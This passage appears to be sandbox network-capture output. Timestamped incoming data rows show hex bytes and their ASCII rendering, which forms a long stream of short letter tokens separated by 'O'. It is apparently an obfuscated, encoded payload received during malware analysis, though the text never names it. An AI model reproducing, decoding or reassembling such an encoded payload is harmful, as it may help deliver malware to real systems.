WD O EJ O EW O WO O XO O mp O Wm O qqX O WD O qOJ O mE O qqM O qqW O qOJ O EM O mE O WE O Wq O qOW O Wm O qOJ O mE O qOO O WJ O qqE O qqO O mE O Wq O qOq O ED O qqJ O mE O WE O Wq O qOW O
2021-10-29 18:10:39 UTC	1029	IN	Data Raw: 6d 45 20 4f 20 71 4f 4d 20 4f 20 57 6d 20 4f 20 71 71 45 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 45 58 20 4f 20 71 4a 71 20 4f 20 57 6d 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 45 71 20 4f 20 57 45 20 4f 20 71 4f 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 71 20 4f 20 71 4a 4a 20 4f 20 57 45 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 45 44 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 58 4f 20 4f 20 6d 70 20 4f 20 57 70 20 4f 20 71 71 4d 20 4f 20 71 71 44 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 71 71 45 20 4f 20 4d 4d 20 4f 20 45 44 20 4f 20 58 71 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 58 4f 20 4f 20 6d 70 20 Data Ascii: mE O qOM O Wm O qqE O qOD O mE O WJ O EX O qJq O Wm O mE O WD O Eq O WE O qOD O mE O mE O Eq O qJJ O WE O WW O mE O qqE O MM O ED O Xq O mE O WW O qqO O DE O mX O XO O mp O Wp O qqM O qqD O DX O mE O qqE O MM O ED O Xq O mE O WW O qqO O DE O mX O XO O mp
2021-10-29 18:10:39 UTC	1030	IN	Data Raw: 20 6d 45 20 4f 20 71 71 58 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 4d 58 20 4f 20 57 57 20 4f 20 57 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 58 57 20 4f 20 71 4a 4a 20 4f 20 45 6d 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 58 20 4f 20 45 45 20 4f 20 4d 45 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 57 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 4d 20 4f 20 71 4a 4f 20 4f 20 4d 4f 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 4a 4a 20 4f 20 71 71 57 20 4f 20 58 45 20 4f 20 58 6d 20 4f 20 6d 45 20 4f 20 57 44 20 4f 20 57 57 20 4f 20 45 4f 20 4f 20 71 4f 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 45 4d 20 4f 20 71 4a 4f 20 4f 20 4d 4f 20 4f 20 58 Data Ascii: mE O qqX O mE O mp O mE O mE O WW O mE O mE O MX O WW O WD O mE O mE O XW O qJJ O Em O Wq O mE O mX O EE O ME O Xm O mE O WD O WW O EO O qOE O mE O mE O EM O qJO O MO O XO O mE O qJJ O qqW O XE O Xm O mE O WD O WW O EO O qOE O mE O mE O EM O qJO O MO O X
2021-10-29 18:10:39 UTC	1031	IN	Data Raw: 4f 70 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 71 57 20 4f 20 57 4f 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f 4a 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 4a 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 71 71 57 20 4f 20 57 4f 20 4f 20 6d 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f 20 71 71 58 20 4f 20 71 4f 70 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 71 4a 4a 20 4f 20 4d 58 20 4f 20 57 71 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 71 6d 20 4f 20 57 4f 20 4f 20 71 71 44 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 57 20 4f 20 45 58 20 4f 20 71 71 6d 20 4f 20 71 4f 4a Data Ascii: Op O mE O mp O qJJ O MX O WJ O XO O mE O qqW O WO O mp O DX O mE O WW O EX O qqX O qOJ O mE O mp O qJJ O MX O WJ O XO O mE O qqW O WO O mp O DX O mE O WW O EX O qqX O qOp O mE O mp O qJJ O MX O Wq O mE O mE O qqm O WO O qqD O mE O mE O WW O EX O qqm O qOJ
2021-10-29 18:10:39 UTC	1032	IN	Data Raw: 4f 20 4f 20 71 4f 44 20 4f 20 71 4f 58 20 4f 20 45 71 20 4f 20 71 71 71 20 4f 20 45 44 20 4f 20 57 4a 20 4f 20 57 4f 20 4f 20 71 4a 71 20 4f 20 58 45 20 4f 20 44 4d 20 4f 20 6d 70 20 4f 20 71 4f 4f 20 4f 20 4d 4d 20 4f 20 58 71 20 4f 20 71 4f 4f 20 4f 20 71 4f 71 20 4f 20 45 70 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 6d 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 4a 4f 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20 58 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 6d 20 4f 20 44 4d Data Ascii: O O qOD O qOX O Eq O qqq O ED O WJ O WO O qJq O XE O DM O mp O qOO O MM O Xq O qOO O qOq O Ep O EJ O DW O DW O Xq O qOp O qOp O DW O Eq O qqW O Xq O MM O DW O DD O qqm O DM O DM O DW O DW O EW O qJO O DD O DW O DW O DE O qqW O Xq O Xq O DW O DW O qqm O DM
2021-10-29 18:10:39 UTC	1034	IN	Data Raw: 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 57 20 4f 20 45 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 Data Ascii: DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O qOW O Ep O qOp O DW O DW O DW O DW O DW O DW O DW O qOm O Wq O qOO O WJ O DW O DW O DW O DW O DW O DW O qOm O Wq O qOO O Wq O qOq O DW O DW O DW O DW O DW O qOm O Wq O qOO O W
2021-10-29 18:10:39 UTC	1035	IN	Data Raw: 4f 20 58 4d 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f Data Ascii: O XM O DW O XW O qqM O DD O qOm O DW O EJ O XM O DW O MO O Xq O DW O qOp O DW O EO O EE O DW O MO O Xq O DD O qqW O DW O Eq O XW O DW O XM O qqM O DD O mX O DW O Eq O XW O DW O MO O DW O DW O qOp O DW O DM O qOE O DW O qOO O DW O DD O qOX O DW O Eq O mX O
2021-10-29 18:10:39 UTC	1036	IN	Data Raw: 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 Data Ascii: DW O MO O DW O DW O qOp O DW O DM O qOE O DW O qOO O DW O DD O qOX O DW O Eq O mX O DW O MM O qqM O DW O Em O DW O DM O EE O DW O qOO O DW O DD O qJq O DW O Eq O qqM O DW O EW O qqM O DD O DX O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O
2021-10-29 18:10:39 UTC	1038	IN	Data Raw: 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 58 20 4f 20 45 6d 20 4f 20 71 4a 4f 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f Data Ascii: O qOO O DW O DD O qqJ O DW O EJ O DW O DW O MM O qqM O DW O DW O DW O DW O DW O DW O XX O Em O qJO O EX O DW O Eq O DM O DW O MM O qOp O DD O qqm O DW O DE O DW O DW O Em O qOp O DD O XO O DW O Eq O Xq O DW O MO O DW O DW O qqX O DW O DM O XW O DW O qOO O
2021-10-29 18:10:39 UTC	1039	IN	Data Raw: 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 45 6d 20 4f 20 71 71 4d 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 Data Ascii: DW O qOp O DW O DM O EE O DW O MX O qqM O DD O qqW O DW O EJ O XW O DW O MX O Xq O DW O qOM O DW O Eq O WJ O DW O MM O qqM O DW O DW O DW O DW O DW O DW O Xm O Em O qqM O qOM O DW O DM O DM O DW O qOO O Xq O DD O mX O DW O Eq O WD O DW O Ep O DW O DD O X
2021-10-29 18:10:39 UTC	1040	IN	Data Raw: 4d 4f 20 4f 20 71 71 4d 20 4f 20 71 4f 4d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 57 70 20 4f 20 71 71 4d Data Ascii: MO O qqM O qOM O DW O DM O WD O DW O MM O DW O DD O mX O DW O Eq O qOE O DW O MX O qqM O DD O qqE O DW O EJ O EE O DW O DW O DW O DE O Xq O DW O DE O XM O DW O Xp O DW O DD O qOX O DW O Eq O qqM O DW O MM O DW O DW O DW O DW O Ep O DW O DW O Xq O Wp O qqM
2021-10-29 18:10:39 UTC	1042	IN	Data Raw: 4f 20 44 44 20 4f 20 45 71 20 4f 20 71 71 4f 20 4f 20 44 4d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 58 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 Data Ascii: O DD O Eq O qqO O DM O qOp O DW O XD O DW O DD O EX O DW O DM O qqM O DW O Ep O DW O DD O Xp O DW O Eq O XW O DW O MM O DW O DD O qqX O DW O EJ O Ep O DW O qOO O DW O DW O qOp O DW O DE O mX O DW O Ep O DW O DD O DD O DW O Eq O qqM O DW O MX O DW O DW O q
2021-10-29 18:10:39 UTC	1043	IN	Data Raw: 20 6d 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 6d 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 4d 20 4f 20 4d 4d 20 4f 20 45 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f Data Ascii: mX O DW O EJ O Ep O DW O MX O DW O DW O qqm O DW O EO O DW O DW O MX O DW O DD O mM O DW O EJ O EE O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DM O qOM O MM O Em O qOp O DD O Xq O DW O EJ O Ep O DW O MX O qqM O DD O qqM O DW O
2021-10-29 18:10:39 UTC	1044	IN	Data Raw: 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 45 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 Data Ascii: mE O mE O qOp O DW O DD O XO O DW O DM O qqW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DE O Xq O DW O DW O DW O DW O DW O DW O EJ O DW O DW O qOp O DW O XO O DW O DW O EW O DW O EM O qOE O DX O mE O mE O mp O DE O DW O DW O DW O DW O
2021-10-29 18:10:39 UTC	1046	IN	Data Raw: 20 4f 20 57 70 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 4a 20 4f 20 44 57 20 4f Data Ascii: O Wp O DW O DE O DW O DW O XJ O Xq O DD O WJ O DW O Eq O EE O DW O MO O Xq O DD O qqM O DW O EJ O Xq O DW O ME O Xq O DD O qqX O DW O Eq O WJ O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DD O XW O DW O DW O DW O DW O DW O DD O qOJ O DW O
2021-10-29 18:10:39 UTC	1047	IN	Data Raw: 45 45 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 45 45 20 4f 20 44 57 Data Ascii: EE O DW O XM O Xq O DD O mX O DW O Eq O qOE O DW O MX O qqM O DD O qqE O DW O DE O DW O DW O MO O Xq O DD O qJq O DW O EJ O Ep O DW O MX O qqM O DD O qJq O DW O DE O DW O DW O ME O DW O DD O qOm O DW O EJ O EE O DW O Ep O DW O DD O qqX O DW O Eq O EE O DW
2021-10-29 18:10:39 UTC	1048	IN	Data Raw: 57 44 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 71 20 4f 20 Data Ascii: WD O DW O MX O qOp O DW O qOp O DW O EJ O Xq O DW O MX O qqM O DW O qOp O DW O EJ O Xq O DW O ME O DW O DD O qOX O DW O DE O DW O DW O XM O qqM O DD O qqW O DW O Eq O qOE O DW O MM O DW O DD O qOW O DW O Eq O WD O DW O XM O Xq O DD O qJq O DW O Eq O Xq O
2021-10-29 18:10:39 UTC	1050	IN	Data Raw: 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 6d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 57 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 Data Ascii: p O DW O DD O Xm O DW O Eq O qOp O DW O MO O Xq O DD O qqW O DW O Eq O qqM O DW O Ep O DW O DD O DM O DW O Eq O qqM O DW O MO O qqM O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DE O XW O DW O MM O DW O DE O Xq O D
2021-10-29 18:10:39 UTC	1051	IN	Data Raw: 44 57 20 4f 20 44 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 57 6d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 Data Ascii: DW O DM O qqM O DW O ME O Xq O DD O qqE O DW O Eq O XW O DW O Ep O DW O DD O DD O DW O EJ O Ep O DW O MO O qqM O DD O mM O DW O Eq O mX O DW O MO O Xq O DD O qqE O DW O EJ O Xq O DW O MM O qqM O DW O Wm O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O
2021-10-29 18:10:39 UTC	1052	IN	Data Raw: 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f Data Ascii: O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DE O XW O DW O MM O DW O XJ O Xq O DD O MX O DW O DW O qqq O DW O WD O DW O EE O DW O DW O XO O mE O mE O qOp O qOp O DD O Xq O DW O EJ O Ep O DW O ME O Xq O
